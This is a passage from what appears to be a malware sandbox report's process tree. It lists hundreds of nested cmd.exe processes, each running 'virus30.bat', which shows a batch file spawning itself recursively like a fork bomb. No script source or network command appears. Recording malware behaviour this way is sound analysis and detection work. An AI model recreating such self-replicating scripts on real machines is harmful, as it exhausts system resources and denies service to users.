        16⤵
        
        PID:13820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:6016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:6440
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:6228
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:1640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:5552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:2556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:14292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:6600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:13388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:17096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:14284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:6104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:2240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:14780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:4812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:8292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:12504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:5972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:8960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:13156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:13868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:16180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5904
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:5768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:16420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:5560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:12476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:7164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:5256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:7856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:17300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:6368
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:11872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:14264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6480
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:5208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:8344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:12976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:8976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:13860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:9024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:15168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:16184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:5748
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:3800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:4316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:9272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:15932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:14256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:9284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        19⤵
        
        PID:17292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:9816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:15280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:16264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:10228
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:14312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:2472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:10128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:15660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:5380
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:10792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:15740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:16716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:4352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:11692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:13068
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        18⤵
        
        PID:13796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:1920
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:6296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:16732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:13044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:13752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:7148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:16880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11684
        
